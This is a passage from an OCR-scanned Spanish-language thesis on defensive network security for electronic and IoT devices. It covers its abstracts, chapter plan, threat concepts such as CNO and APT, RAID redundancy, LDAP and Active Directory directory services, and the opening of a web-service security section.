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Resumen

Actualmente en nuestra vida cotidiana nos encontramos cada dia mas integrados en todo un
mundo de tecnologia y dispositivos electronicos realizando distintas funciones a fin de
proporcionarnos primeros valores de informacion o referencia en forma de datos. Al mismo
tiempo al igual que las personas, estos equipos y dispositivos electronicos no dejan de estar
igualmente amenazados por agentes si bien personales si bien también electronicos tanto internos
como externos en el medio en el que se encuentran.

Asi pues, se presenta aqui una primera aproximacion al mundo de su seguridad en que adquirir
una referencia de proteccion de estos agentes. Tratando de aportarles proteccion a lo que
actualmente se conoce como 'modus operandi' proporcionandoles en este caso y como primera
aproximacion un blindaje protector y con el objetivo de detener las conocidas intrusiones y
ataques principalmente por parte de personas dedicadas a este objeto en forma de acceso
telematico.

Se pretende aportar medios y herramientas actuales que nos aportan activos de seguridad a estos
efectos. Aunque no garantizan la seguridad completa, si que generan y aportan un importante
activo y de valor al mismo. Dejando al corporativo de cualquier empresa que opere con estos
dispositivos protegidos de primeras intrusiones o ataques posibles, al mismo tiempo que
identificados.

En este trabajo se presentan las Gltimas tecnologias y técnicas disponibles en materia de seguridad
y de las cuales proveen altas prestaciones a fin de dotar al sistema de alta escalabilidad y
flexibilidad, asi como integracion con otras tecnologias o sistemas. Tecnologias ligeras como
Node y potentes como el Firewall — Detector de intrusion Snort, técnicas practicas y muy
prestables como Port Knocking y Web Scraping.
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Actualment en la nostra vida quotidiana ens trobem cada dia més integrats en tot un moén de
tecnologia i dispositius electronics realitzant diferents funcions a fi de proporcionar-nos primers
valors d'informacio o referencia en forma de dades. Al mateix temps igual que les persones,
aquests equips i dispositius electronics no deixen d'estar igualment amenacats per agents si bé
personals si bé també electronics tant interns com externs en el mitja en el qual es troben.

Aixi doncs, es presenta aci una primera aproximacié al mén de la seua seguretat en qué adquirir
una referéncia de proteccid d'aquests agents. Tractant d'aportar-los proteccio al que actualment es
coneix com a 'modus operandi' proporcionant-los en aquest cas i com primera aproximacié un
blindatge protector i amb I'objectiu de detindre les conegudes intrusions i atacs principalment per
part de persones dedicades a aquest objecte en forma d'accés telematic.

Es pretén aportar mitjans i eines actuals que ens aporten actius de seguretat a aquest efecte. Encara
gue no garanteixen la seguretat completa, si que generen i aporten un important actiu i de valor a
aquest. Deixant al corporatiu de qualsevol empresa que opere amb aquests dispositius protegits
de primeres intrusions o atacs possibles, al mateix temps que identificats.

En aquest treball es presenten les Ultimes tecnologies i técniques disponibles en matéria de
seguretat i de les quals proveeixen altes prestacions a fi de dotar al sistema d'alta escalabilitat i
flexibilitat, aixi com integracié amb altres tecnologies o sistemes. Tecnologies lleugeres com
Node i potents com el Firewall — Detector d'intrusio Snort, técniques practiques i molt prestables
com Port Knocking i Web Scraping.
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Abstract

Currently in our daily lives we are increasingly integrated into a world of technology and
electronic devices performing different functions in order to provide us with first values of
information or reference in the form of data. At the same time, like people, these electronic
equipment and devices are not equally threatened by agents, although personal, but also internal
and external electronic in the environment in which they are located.

Thus, a first approach to the world of your security is presented here in which to acquire a
protection reference for these agents. Trying to provide protection to what is currently known as
'modus operandi' by providing them in this case and as a first approximation a protective shield
and with the aim of stopping the known intrusions and attacks mainly by people dedicated to this
object in the form of telematic access.

It is intended to provide current means and tools that provide us with security assets for this
purpose. Although they do not guarantee complete security, they do generate and provide an
important asset and value to it. Leaving the corporate of any company that operates with these
devices protected from possible first intrusions or attacks, at the same time as identified.

This project presents the latest technologies and techniques available in the field of security and
which provide high performance in order to provide the system with high scalability and
flexibility, as well as integration with other technologies or systems. Light technologies such as
Node and powerful technologies such as Firewall - Intrusion detector Snort, practical and very
reliable technigues such as Port Knocking and Web Scraping.
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Estructura del documento:
Capitulo 1: Introduccion.

Introduccién a la seguridad en las redes y a las operaciones en la informacién electronica,
actualmente controlada por un compendio entre informatica y telecomunicacion, cominmente
conocida como telematica. Se presenta los principales conjuntos de formacion de la informacion
electronica y proporcionar un punto de referencia del escenario actual de partida.

Capitulo 2: Objetivo.

Se describe el objetivo principal del proyecto en el que se describen los principales puntos
referentes que van a componer la implementacion, como es proporcionar valor afiadido en vista a
establecer un incremento de la seguridad de la red teniendo como principales activos la
prevencion, deteccion y reaccion. Se programan y aplican medios y técnicas de seguridad de
acceso a usuarios no autorizados al sistema de medida de un dispositivo electrénico.

Capitulos 3 a 6:
- Consideraciones de seguridad en IoT.
- Estado del arte.

Capitulo 3: Seguridad pasiva.

Equipos y medios constituyentes del conjunto interno del sistema y que conforman, junto con los
otros, parte conjunta en la seguridad del conjunto. Se revisan conocimientos como: unidades de
discos, configuraciones de nombres, directorios y servicios con sus ventajas y desventajas e
inconvenientes.

Capitulo 4: Seguridad activa.

Equipos y medios junto con el resto que conforman aporte directo a la seguridad, como
certificados y firmas digitales. Infraestructura publica. Configuracion y funcionamiento correcto.

Capitulo 5: Técnicas de identificacion, autenticacion y autorizacion.

De vital importancia en la seguridad. Procedimientos, controles, politicas, recomendaciones y
revisiones que ayudan a establecer un vinculo entre el sistema fisico y los usuarios. Medios y
formas de seguridad en contrasefias, codigos y grupos que aportan seguridad al conjunto.

Capitulo 6: Vulnerabilidades.

Definir, conocer y saber las mismas. Actualmente no se puede realizar un proyecto de seguridad
sin conocer y saber tratar y gestionar las vulnerabilidades. Su conocimiento para disponer de una
referencia, evaluacion y alcance son indispensables para la elaboracién del proyecto de seguridad.
Se trata una referencia a las implicadas en los sistemas 10T.

Capitulos 7 a 9:
- Normativa en seguridad.
- Analisis de riesgos.
- Técnicas de auditorias.

Capitulo 7: Auditoria de certificacién en 1SO.

Normativa actual vigente aplicada a la seguridad de la informacion. Sistemas de gestion,
estandares como la familia ISO 27000 y certificaciones. Planificacién y preparacion la auditoria.
Aplicacion de buenas préacticas. Concesion de la certificacion.
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Capitulo 8: Analisis de riesgos.

Proceso de andlisis de riesgos. Tipos y elementos del anélisis. Metodologias. Fases del analisis.
En la actualidad, es indispensable realizar un analisis de riesgos en materia de seguridad. Impacto
y coste econdmico en funcion del riesgo expuesto. Herramientas actuales como Magerit otras para
la realizacion del mismo.

Capitulo 9: Técnicas de auditoria.

Auditoria técnica del sistema, preparacion y superacion de la misma. Técnicas de analisis.
Enumeracion e identificacion de los activos que aportan valor a la seguridad. Actualmente
disponer de una auditoria realizada, aporta seguridad a la misma.

Capitulos 10 a 15: Implementacidn del sistema de seguridad del proyecto.
Capitulo 10: Esquema principal del proyecto. Portal web de acceso.

Se presenta el esquema constitutivo que conforma el conjunto de medios y técnicas aplicadas a
conformar un conjunto activo de seguridad afiadida. Programacion y configuracion de
importantes medios y técnicas actuales que sitdan a la red a un mejor frente de defensa. Se
presenta la constitucion de un portal web de acceso programado y configurado en Node y base de
datos Mongo db.

Capitulo 11: Implementacién de Red Privada Virtual. VPN.

Medio indispensable de acceso remoto que proporciona un importante activo de seguridad, como
establecimiento de tdnel y cifrado en el paso de la informacidn por una red pablica como Internet.

Capitulo 12: Implementacion de Snort.

Potente y avanzada herramienta compuesta por varios controles como funciones de Deteccion de
Intrusion (IDS) y firewall, asi como log del sistema entre otros. Se describen la programacién de
reglas que establecen parametros de control de seguridad siendo los principales constituyentes
protocolos y pardmetros de red. Se generan alertas y bloqueos de seguridad.

Capitulo 13: Monitorizacion de red.

Mediante la monitorizacion de la red conseguimos informacion en tiempo real del funcionamiento
del sistema. Herramientas que nos proporcionan respuestas a nuestras preguntas asociadas a la
seguridad como: ¢quién hay?, ;,qué ocurre?, ;por donde?, etc.

Capitulo 14: Técnica de Port Knocking.

Importante técnica que aporta, en caso de ser necesario, importante medida de seguridad, a través
de gestion de puertos de red, algo muy utilizado por los hackers. Programable y configurable para
los diferentes primeros servicios de red como SSH, FTP, HTTP y otros. Mediante su
configuracion, podemos establecer acceso controlado en tiempo al sistema.

Capitulo 15: Técnica de Web Scraping.

Técnica que inicialmente no pensada para programar seguridad pero que se puede aplicar a la
misma como se realiza en este proyecto. Mediante el uso de etiquetas HTML del portal web de
acceso, se puede programar en este caso mediante el lenguaje de programacién Python, un control
de acceso a consulta de medida del sistema electrdnico.

Capitulo 16: Conclusion y lineas futuras.

Tras la evaluacion y aplicacion de estos medios y técnicas descritas, se reporta la conclusion.
Conclusidn centrada en vista al aporte y establecimiento de medidas y técnicas de prevencion,
deteccidn y reaccion respecto de los principales activos de seguridad participantes. Eficiencia y
eficacia en materia de seguridad aplicada al mundo de los dispositivos electronicos y su acceso y
manipulacion no autorizada de los mismos.
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1.- INTRODUCCION: panorama y referencia actual.

En un sistema informético y de comunicaciones, la informacion puede llegar a tener una estructura
compleja, con multitud de entidades y relaciones. Multitud de usuarios y desconocidos.

Como principal concepto que aborda este proyecto es la relacion entre la seguridad de la
informacién y nosotros, los usuarios, en el que segun referencia de identidad digital, es lo que
mas estrechamente esta relacionado con la seguridad electrénica, de hecho, el eslabén mas débil
de la cadena es: la persona. La figura cominmente denominada: usuario del sistema. Veremos
técnicas como el control de acceso segun roles de usuario, en el que se describe las principales
técnicas asociadas, establecimiento de sesiones activas y diversos esquemas de establecimiento
de seguridad de la red.

Segun informacion de la empresa de auditoria en seguridad S2 Grupo, las operaciones en el
mundo de las redes de computadores estan actualmente clasificadas de la siguiente manera:

B Necesidades de informacion: alguien requiere cierta informacion y tiene a su alcance
los medios para conseguirla. A modo de resumen y como se ampliara en este
proyecto, como principal esquema atiende a:

e Planificacion:
- ¢Quién tiene la informacion?.
- ¢Cuando estara disponible?.
- ¢Donde se ubica?.
- ¢COmo obtenerla?.
e Adquisicién:
- HUMINT: Inteligencia humana.
- TECHINT: Inteligencia técnica.
- SIGINT (desde los 70 superando a HUMINT): Inteligencia se sefiales.
0 COMINT: Inteligencia de comunicaciones.
0 ELINT: Inteligencia técnica.

Todas estas técnicas conjuntas constituyen el Ciclo de Inteligencia de la
Ciberinteligencia. La cual, constituye un proyecto aparte a desarrollar en préximo a
este.
W Operaciones de Informacion (10: Information Operations):
e Computer Network Operations (CNO).
e Operaciones Psicoldgicas (PSYOP).
o Decepcidn Militar (MILDEC).
e Seguridad de Operaciones (OPSEC).
e Guerra Electronica (EW).

CNO es el acronimo de Computer Network Operations, y hace referencia a acciones deliberadas,
orientadas a optimizar y aprovechar el uso de las redes informaticas para mejorar la actividad
humana y de la empresa o, en caso de conflicto, para ganar superioridad de informacion y negar
a los adversarios disponer de dicha capacidad. Tiene tres componentes principales:
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Defensa Obtener

pasiva informacion

CNO (CND) (CNE)
(Computer
Network
Operations)

Modificar, negar,
degradar,
destruir

(CNA)

Fig.1: Conjunto de formacion CNO.

CNA (Computer Network Attack): acciones llevadas a cabo a través de redes informaticas para
interrumpir, denegar, degradar o destruir informacion contenida en ordenadores y redes
informaéticas y/o propios activos que la contienen.

CND (Computer Network Defense): acciones llevadas a cabo a través de redes informaticas para
proteger, monitorizar, analizar, detectar y responder a ataques informaticos, intrusiones,
disrupciones u otras acciones no autorizadas que pudieran comprometer o paralizar los sistemas
de informacion y sus redes de comunicacion.

CNE (Computer Network Explotation): acciones de recogida de informacion y andlisis a través
de redes informaticas que explotan los datos obtenidos de los sistemas objetivo o sistemas de
informacidn y redes de los competidores.

Otro factor importante a considerar es el de Amenaza Persistente Avanzada (APT: Advanced
Persistent Threat) asociado a la capacidad de un tercero respecto de las siguientes actuaciones:
Proceso orquestado.

Necesidades de informacion clara.

Obijetivos definidos.

Multiples vectores de ataque.

Con el detalle importante de NO confundir APT con malware, sino APT como una capacidad. El
malware es la bomba sobre un objetivo. Como posibles objetivos de una APT:

e Beneficio econdémico (ciberdelito).

¢ Reivindicacion (ciberactivismo).

o Dafios o terror (ciberterrorismo).

¢ Robo de informacidn (ciberespionaje).

e Superioridad en el ciberespacio (ciberguerra).

Debemos ser capaces de planificar una estrategia de proteccién de la informacion de forma eficaz.
Cuanto mas protejamos, mas aumenta el coste de la implementacidon. Esto implica tener que llegar
a un compromiso coste-seguridad que sea suficiente como para satisfacer las necesidades reales.
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Fig.2: Principal vulnerabilidad en un sistema de comunicacion electrdnica: la persona.

En la persona comienza y termina la principal responsabilidad de una vulnerabilidad. Como
principal punto de gestion veremos que toda la atencion se centra en el establecimiento en la
organizacion de medios reguladores como son las Politicas de Seguridad.

Politicas de seguridad Sistema de comunicacion

Usuarios

Fig.3: Relacion usuarios vs. politicas de seguridad vs. sistema de comunicacion.
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Comunicaciones de equipos
y sistemas electronicos

Acondicionador Convertidor 1
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Sistema Operativo i ..

Servicios Int ACTUACION Servicios Externos
ervicios Internos = ‘

Servicios Publicos Q pa- W
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- g—// &

Almacenamiento de

Usuarios

Fig.4: Identificacion de los principales puntos de seguridad en la red.

Fallos en la seguridad
Oportunidad - de lared y/ode los
equipos

Intrusién
enlaredo
Sistema

Informatico
Diversion Conocimientos
Lucro - Motivo Medios - Técnicos
Personal

Herramientas

Fig.5: Triangulo de la intrusion.

El control de acceso ha sido histéricamente un problema eminentemente fisico: murallas, fosos,
puentes destructibles, puentes levadizos, puertas y verjas son solo algunos ejemplos de elementos
arquitectonicos que a lo largo de la historia se han usado para controlar el acceso a espacios y
recursos. A continuacion, figura ilustrativa de la Edad Media donde resultaba frecuente la
proteccion de castillos y ciudades mediante el uso de puentes destructibles o levadizos que
permitian cruzar el foso y acceder a un reciento a menudo amurallado.

Fig.6: Control de acceso por puente levadizo vs. vulnerabilidad en el sistema.
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Por ejemplo, aungue el control de acceso fisico es ain una realidad ineludible: ¢quién no se ha
olvidado de las llaves alguna vez?. En Control de Acceso se detalla la gestion de establecimiento
de este control.

* Firewalls (cortafuegos)

* Proxies (pasarelas) Intrusion
* Control de acceso Externa
* Cifrado

* Hosts, Servidores.
* Routers/ Conmutadores., -
* Seguridad del edificio.
Fig.7: Esquema general de composicién actual de red de comunicacién telematica.
A continuacion vemos los distintos componentes en los que nos vamos a centrar:

/

— Encriptacion

Aplicacic’m Seguridad de programas y servicios
Host

Red interna

Fortalecer el sistema operativo, autenticacion

Marketing, Ventas, Finanzas, encriptar
datos de red
Oficina principal, oficina sucursal, socio de

negocios. Firewall
Protecciones, seguros, dispositivos de

s — seguimiento
Politicas, procedimientos y Documentos de seguridad, educacion del
chiencia j usuario.

Fig.8: Componentes de un sistema de red.

Puntos de fallo mas comunes:

e Topologia de la red:
- Ej.: puntos de acceso Wireless.
e Sistemas Operativos:
- Ej.: vulnerabilidades nuevas mas frecuentes.
e Servicios ofrecidos:
- Ej.. BBDD sin validar entradas.
e Programacion de aplicaciones:
- Ej.: servidor web con puertos abiertos por defecto.
e Factor humano:
- Ej.: PCsin bloquear.
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Todo software tiene errores (bugs) debidos a:

- Mala programacion (no todos la misma habilidad y falta de conocimientos en
programacion segura).
- Falta de pruebas de los programas.

¢Qué puede hacer el malware?:

- Borrar ficheros en un equipo.

- Descargar ficheros al disco duro del equipo. Software pirata.

- Ejecutar comandos en un equipo con privilegios del usuario.

- Infectar un equipo y usarlo como puente para atacar otros equipos o enviar spam.
- Monitorizar las teclas pulsadas y enviarlas al atacante (keyloger).

- Vigilar nuestros habitos de navegacion.

- Muchas otras cosas mas...

A continuacion de la introduccioén a los principales componentes y elementos que componen la
red tanto a nivel persona como a nivel sistema. Un primer esquema general seria el siguiente:

*  Cortafuegos
Software fiable

. IPsec

+  PKI

2) ASEGURAR

5) GESTIONAR y 3) MONITORIZAR y
MEJORAR REACCIONAR
*  Administrador « DS

de recursos

4) COMPROBAR
. Escaneo de vulnerabilidades

Fig.9: Esquema de Gestidn de Seguridad en la organizacion.
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2.- OBJETIVO: ciberseguridad industrial en dispositivos electronicos.

El principal objetivo de este proyecto es el de establecer un sistema de proteccion en materia de
seguridad de las comunicaciones en la organizacion dentro de una empresa media y grande,
teniendo como principal punto de control, la gestion del sistema funcional de control electronico.

Sistema informatico

. o Sistema electrdnico
Sistema de comunicaciones SISTEMA DE SEGURIDAD

Fig.10: Esquema de estructura del proyecto.

Para ello, partiendo del principal esquema base que se puede recoger en esta implementacion, se
presenta a continuacion una figura esquema del proceso de una intrusion a un sistema de
comunicaciones y que sirve de referencia en todo el proceso.

Estafa Virus
-w"%’ 7
e Rve El sistema
& P oF
4 o R .
; | El ordenad.ores el \ N / informdticoesel ——
medio - Yy objetivo
Rescate / Intrusion

(Ransomware) persistente

Fig.11: Esquema del proceso de intrusién a un sistema de comunicaciones.

Se realiza en esta ocasion la implementacion de un conjunto de medidas que, partiendo de los
requerimientos basicos y minimos que todo sistema de seguridad electronica pueda requerir y
cumplir, evaluar que podemos aportar mayor rigor al mismo, asi pues, se procede a realizar a
modo de complemento y en afiadido, el establecimiento y aplicacion de una serie de medidas y
técnicas que aporten proteccion en materia de seguridad programatica y electronica al principal
'modus operandi' establecido hoy en dia por los atacantes a este tipo de sistemas. Proporcionando
mas robustez y fortificacidn en seguridad a accesos no autorizados e indebidos evitando ataques
primeros e importantes como extraccion de usuarios y contrasefias, en el que en este caso no
reportaria validez para un usuario con acceso externo, Denegacion de Servicio (DoS), ataque
ransomware por intrusion a la red y otros como alteracién o modificacién de valores, en general
evitar: denegacion, disrupcion, degradado. Para ello, se proponen medios y técnicas implicadas
en la seguridad como:

- Prevencioén: bloqueo de acceso programado y red externa.
- Deteccion: monitorizacion continua de parametros de red programables.
- Reaccion: mediante generacion de alertas y notificaciones.
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Métodos como afiadir funciones de control al portal web de acceso a un dispositivo electrénico y
a su centro de informacion y medidas, como por ejemplo, un middelware en Node, donde limitar
y acotar el acceso al usuario a ciertos valores primeros como la red y domino al que pertenece el
dispositivo. Técnicas como Snort, Port Knocking y Web Scraping que aportan medios de
seguridad al mismo.

> [ =2
U=
[ ] — [ @ ,!

Red corporativa Red de sensores

Red publica a\ g
——/

Red de inaldambrica

Red movil

Fig.12: Red de comunicaciones general de la organizacion.

La implementacion detallada en este proyecto se contempla en el siguiente esquema representado
en la siguiente figura:

Red Externa

Red Interna Red de control:

Sistema de control electrénico
Navegadores: Servidor: N
A

nedec

:: y; Timers_‘
O mongoDB ~

Fig.13: Esquema de red funcional.

o
£
&

Se realiza un programa para navegador que implementa un Cuadro de Mando o Dashboard desde
donde se establece los parametros anteriores a controlar, sobre todo en materia de seguridad
indirecta, donde se pretende generar seguridad donde no lo hay, afiadiéndose como una capa méas
a la base existente en el sistema de la organizacion.

10
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Desde este Cuadro de Mando, controlaremos el acceso de/los usuario/s al Sistema de Control
electronico de la organizacion, se estableceran parametros de control como la direccién IP del
usuario Unico que va tener acceso a consulta y control del sistema.

El objetivo principal es en funcion de lo indicado anteriormente, sobre todo aportar:

- Mayor seguridad y prevencion. Bloqueo de acceso programable.

- Evitar: denegacion, disrupcion y degradado.

- Mayor control del sistema. Generacion de alertas y notificaciones.
- Ahorro de costes adicionales en primera instancia.

- En general, mayor beneficio sin pérdida implicada.

- Evitar ataques principales conocidos como los indicados.

No se pueden cubrir por este objetivo:

- Proteger de usuarios maliciosos internos.

- Acceso por conexiones de red internas existentes.

- Proteger frente atagues no conocidos.

- [Falta de items de seguridad en las Politicas de Seguridad en la empresa.

ECTCIR

F:

Fig.14: Objetivo de planificacion en la organizacion.

11
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3.- SEGURIDAD EN SISTEMAS IoT I. Seguridad pasiva.

3.1 Discos

En este apartado distinguiremos su ubicacion principal como los discos internos de los servidores
y respecto de su redundancia, en este caso redundancia de discos. Este tipo de redundancia se
puede hacer por dos modos, hardware y software, por recomendacion, la hardware, ya que aporta
mayor eficiencia y robustez.

La redundancia de discos se denomina RAID (Redundant Array of Independent — or Inexpensive-
Disk o conjunto redundante de discos independientes). Para entender por qué y ser capaces de
planificar una estrategia de proteccion mas eficaz, primero debemos entender los diferentes tipos
de fallos que hay y como pueden causar la pérdida de informacion:

Borrado accidental o intencionado de la informacion: incluye desde efectivos realizados
por la intrusion del hacker hasta el error humano.

Fallo total o completo del disco: por ejemplo, debido a un fallo eléctrico o incrustacion
del cabezal magnético en la superficie magnética.

Pérdida de suministro eléctrico.

Sectores defectuosos de un disco: desde procedencia directamente de origen, como por
ejemplo los que traen algunos discos de fabrica directamente de origen y la siguiente
generacién de bloques de disco defectuosos.

Corrupcion general del sistema: fallo debido a la complicada regresion de un sistema
hacia el caos total, que tarde o temprano hace que se tenga que reinstalar el sistema.

TN

Disco logico

~_

Disco fisico Disco fisico

Disco fisico Disco fisico

Fig.15: Estructura de configuracion RAID.

El conjunto de discos RAID es visto por el sistema operativo como un unico volumen, disco
légico o unidad. Hay muchas maneras de implementar el RAID, la mayoria de estas maneras son
una combinacién de tecnologias de duplicado, fraccionado y paridad (mirroring, striping y

parity).

q A |
A c
B | E
e G
Bt e
_E | B
(_F D
G [ —
R S F
--h_tl_a—/ H
Disco logico e

Discos fisicos

Fig.16: Técnica de striping en RAID.

La técnica de striping permite resolver el problema de rendimiento. Los datos se agrupan en
bloques (stripes), los cuales se distribuyen en varios discos. De esta forma se puede acceder a

12
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varios bloques en paralelo. EI empleo de esta técnica soluciona el problema de velocidad pero
origina un problema de fiabilidad. El fallo de cualquiera de los discos del conjunto origina la
perdida de todos los datos del conjunto. La probabilidad de fallo en un conjunto de 10 discos es
unas 10 veces mayor que la de un solo disco.

Debido a los diferentes, llamados niveles de implementacion de RAID, se resume sus
configuraciones méas importantes y atendiendo a su mayor uso segin documentacion, siendo estos
el modo RAID 0, 1y 5y sus combinaciones.

e RAID 0. Para hacer este nivel hay que tener como minimo dos discos. Este nivel utiliza
la tecnologia conocida como fraccionado, que divide los datos en varias partes (tantas
como discos tenga) y almacena la informacion en todos los discos a la vez, es decir,
permite un acceso simultaneo a todos los discos.

La capacidad total del espacio de almacenamiento se calcula multiplicando el tamafio
total del disco més pequefio por el nimero de discos. Ejemplo:

Existen dos discos en el conjunto: el primero de tamafio 1 TB y el segundo de 2TB. La
capacidad total es 2 TB.

¢ RAID 1. Para hacer este nivel hay que tener como minimo dos discos. Este tipo de RAID
se conoce como mirror (espejo), ya que escribe de manera simultanea en los dos discos,
de modo que cuando falla uno de los dos discos el otro continta funcionando hasta que
podamos reparar el que esté dafiado. Este nivel, debido al uso del duplicado (mirroring),
tiene una tolerancia a los fallos muy buena. La capacidad total es igual al tamafio del
disco més pequefio. Ejemplo:

Existen dos discos en el conjunto: el primero de tamafio 256 GB, el segundo de 500 GB.
La capacidad total es de 256 GB.

e RAID 5. Este nivel funciona con paridad distribuida, es decir, cada uno de los discos que
forman este RAID contiene a la vez informacion y paridad. Esta caracteristica lo hace
mucho més eficiente que los anteriores, ya que elimina los cuellos de botella. La
capacidad de almacenamiento total es igual al conjunto de los discos menos la paridad,
multiplicado por la capacidad de los discos, es decir (Num. Discos Total-discos de
paridad)*Capacidad. Ejemplo:

Existen tres discos en el conjunto: con un tamafio total de 500 GB. La capacidad total es
igual a (3-1)*500 GB=1 TB.

‘ s

Fig.17: Técnica de RAID 5.

Como a configuraciones mas completas a estas unitarias, actualmente existen los que es la
combinacion de ellos, de tal manera que podemos hacer RAID X+Y o RAID Y+X. La eleccién
del nivel que se aplica primero y el que se aplica después sélo afecta directamente a la tolerancia
a fallos del RAID resultante, ya que las caracteristicas de los requisitos de los controladores, la
capacidad de almacenamiento y el funcionamiento son iguales en los dos casos.

13
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3.2.- Servicios de directorio

Los directorios son un tipo especifico de bases de datos con un propdsito también especifico:
almacenar la informacién sobre un objeto (individuo, recurso de red, documento, etc...).

Un directorio es una estructura jerarquica que organiza y almacena datos acerca de elementos.
Es un tipo concreto de base de datos.

Los ficheros a pesar de estar realmente guardados en el soporte sin organizacién aparente, se
organizan de forma légica en directorios y subdirectorios.

La informacidn puede estar almacenada de forma distribuida y/o replicada. A esto, es necesario
disponer de un servicio de directorio.

En un servicio de directorio gestionado por LDAP (Lighweight Directory Access Protocol) en
una organizacion, para cada usuario del sistema, alberga:

- Nombre y apellidos.

- Departamento de la organizacion.

- ldentificador de usuario.

- Contrasefa.

- Fecha del altimo cambio de la contrasefia.

3.2.1.- Espacio de nombres

En los servicios de directorio, cada objeto esta identificado mediante un nombre. Podriamos
definir el espacio de nombres de un directorio como el conjunto de aquellos identificadores que
se utilizan, o se pueden utilizar potencialmente, para identificar de forma univoca los objetos del
directorio. El identificador de objeto debe ser un nombre Gnico dentro del servicio de directorio.

Los identificadores también pueden identificar grupos de objetos, lo cual permite disefiar bajo una
estructura jerarquica.

3.2.1.1.- Ejemplo de directorio LDAP

LDAP corresponde con un estandar genérico de servicio de directorio. El sistema de nombres que
usa LDAP permite la organizacién de los objetos de forma jerarquica. Veamos a continuacion un
ejemplo de organizacion: empresa.com

dc=empresa, dc=com

ou=Usuarios ou=Servidores

ou=Direccidn

ou=\entas

Ns

Departamentos cn=Servidores Web cn=servidor mail

Servidores

Usuario

uid=7781287-G

Fig.18: Estructura de directorio de LDAP.

En esta organizacion (empresa.com) hay definidos dos grupos de objetos: los usuarios y los
servidores. Los usuarios se dividen en departamentos. Vemos al mismo tiempo la agrupacion de
elementos y su forma jerarquica (jerarquia no fija) y sin niamero determinado de niveles. El
espacio de nombres permite dar flexibilidad para adaptarse a multitud de usuarios.

Valores de parametro clave en LDAP son:

DN (Distinguished Name) nombre que identifica a cada objeto, formado por varios atributos y
valores.

14
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Cada objeto se plasma como una entrada de directorio, en el ejemplo hay un total de ocho
entradas. Cada entrada de directorio estd compuesta por una serie de atributos, cada uno de ellos
describe varios aspectos del objeto que la entrada identifica.

Dos ejemplos de atributos principales son: dc=domain component y ou=organization unit.
Esquema de directorio: define que atributos forman parte del directorio.

RDN (Relative Distinguised Name): identificacion de un atributo concreto. Por ejemplo
uid=7781287-G. Por norma, el valor del RDN para cada nivel debe ser Unico. Por lo tanto, no
podra haber dos usuarios con RDN uid=7781287-G situados en el grupo "Direccion”. Si que
estaria permitido es la existencia de un usuario también con RDN uid=7781287-G pero que
perteneciera al grupo de "Ventas".

Para construir el DN se usa toda la cadena de RDN desde la hoja del arbol hasta la raiz.

Descripcion de algunos de los atributos mas habituales en LDAP:

Atributo Descripcion

cn, commonName Nombre del objeto. Si el objeto es una
persona, sirve para especificar su nombre
completo.

sn, surname Apellido de una persona

¢, countryName Nombre del pais usando dos caracteres

uid, userid Identificador de usuario, en general usado
para identificarse en un servicio o sistema

userPassword Contrasefia

dc, domainComponent Especifiacion de un dominio DNS

serialNumber Numero de serie de un dispositivo o equipo.

Tabla 1: Atributos de LDAP.

Mediante herramientas como JXplorer o ldapmodify se pueden realizar operaciones de consulta
(comparacion) y busqueda de informacion en LDAP. También dispone de interfaces para poder
acceder a través de C, C++, PHP y JNDI (Java Naming Direstory Interface).

La organizacion para la que se disefia el directorio puede tener un &mbito local o bien puede
formar parte de una organizacion mayor, que también cuente con un directorio. Sea como fuere,
lo importante es que el nombre de la parte "raiz" del arbol del directorio (sufijo) identifique
univocamente la organizacion. A esto, esta la eleccidn del sufijo. Entre tres alternativas basicas
que existen, destaco la mas importante respecto de entender la més usada, la que cumple con la
RFC 2247 en la que se especifica que es conveniente mapear en DN del directorio con el nombre
DNS que la organizacion tenga asignado.

Por ejemplo, si la organizacion tiene por ejemplo una pagina web con el dominio www.empresa-
ejemplar.com, seria conveniente que el DN del dominio, el sufijo, sea DN dc=empresa-ejemplar,
dc=com. Este es el principio de integracion de LDAP en Active Directory del programa Windows
Server, el cual requiere del servicio DNS para su funcionamiento.

Active Directory incorpora un almacén de datos para guardar informacion sobre los objetos (por
ejemplo objetos como usuarios, impresoras, etc.). la estructura que ofrece se basa en cuatro
conceptos:
1) El dominio es la estructura basica, la cual agrupa todos los objetos que se administran.
Un dominio se puede identificar mediante una estructura DNS.

15
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2) La unidad organizativa es una unidad inferior, que puede estar compuesta por otras
unidades organizativas, pero también por grupos y objetos.

3) Los grupos son conjuntos de objetos del mismo tipo.

4) Finalmente, la unidad bésica es el objeto, es decir, la representacion de los recursos y
usuarios del sistema en red.

En caso de que haya varios dominios compartiendo un espacio de nomenclaturas y un esquema
comun, se establece la estructura de arbol de dominios. Por ejemplo:

e hospitalCiudadl.hospitales.org

o hospitalCiudad2.hospitales.org

e hospitalCiudad2.hospitales.org

Finalmente, un bosque es una coleccion de arboles que, aunque no comparten un espacio de
nomenclatura contiguo, tienen un esquema comun. Por ejemplo: hospitales.org,
ayuntamientos.org, etc.

En un sistema basado en Active Directory, un servidor puede desempefiar varios papeles:

e Controlador de dominio: estos servidores pertenecen al dominio y contienen una copia
de los datos pertenecientes a recursos y usuarios. Contienen una copia de la cuenta del
usuario. Son un elemento indispensable del dominio y se pueden usar varios de ellos para
distribuir o replicar la informacion.

e Servidor de catélogo global: incluyen informacion sobre todos los objetos de un bosque.

e Servidor miembro: pertenecen también al dominio, pero no contienen copias de las
cuentas de usuario. Se usan para guardar los archivos y recursos de red.

e Servidor independiente: este servidor no tiene nada que ver con la gestion de Active
Directory (por ejemplo, un servidor Windows que pertenezca a un grupo de trabajo
concreto).

Cuando hay varios servidores cohabitando para la replicacion o distribucién de informacién, es
conveniente usar un esquema de red para poder optimizar la gestion del trafico entre distintos
servidores. Ahora bien, operaciones como la modificacion del esquema sélo pueden realizarse
por uno de los servidores, y no desde cualquiera del sistema de réplicas.

Ademas de identificar objetos, los identificadores también pueden identificar grupos de objetos,
con lo cual se puede disefiar una estructura jerarquica.

3.3.- Servicio Web

El 70% de las aplicaciones web son vulnerables a algin tipo de ataque que permiten el robo de
informacidn sensible o confidencial. Es posiblemente uno de los entornos donde maés se deberia
priorizar la securizacion, ya que las paginas web estan accesibles 24 horas al dia y 7 dias a la
semana los 365 dias del afio. Son la via més utilizada por los hackers a la hora de realizar una
intrusion, localizando los puntos débiles de las aplicaciones en los formularios, sistemas de inicio
de sesiones, contenidos dindAmicos, comunicaciones contra backends, etc.

Veamos a continuacion un esquema de las diferentes implementaciones actuales de acceso a
paginas web.
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Fig.19: Esquemas de acceso a servidores web.

3.3.1.- Pequefio analisis de un sitio web.

Respecto de indicacion por atenciones del Hacker ético en esta seccion veremos las diferentes
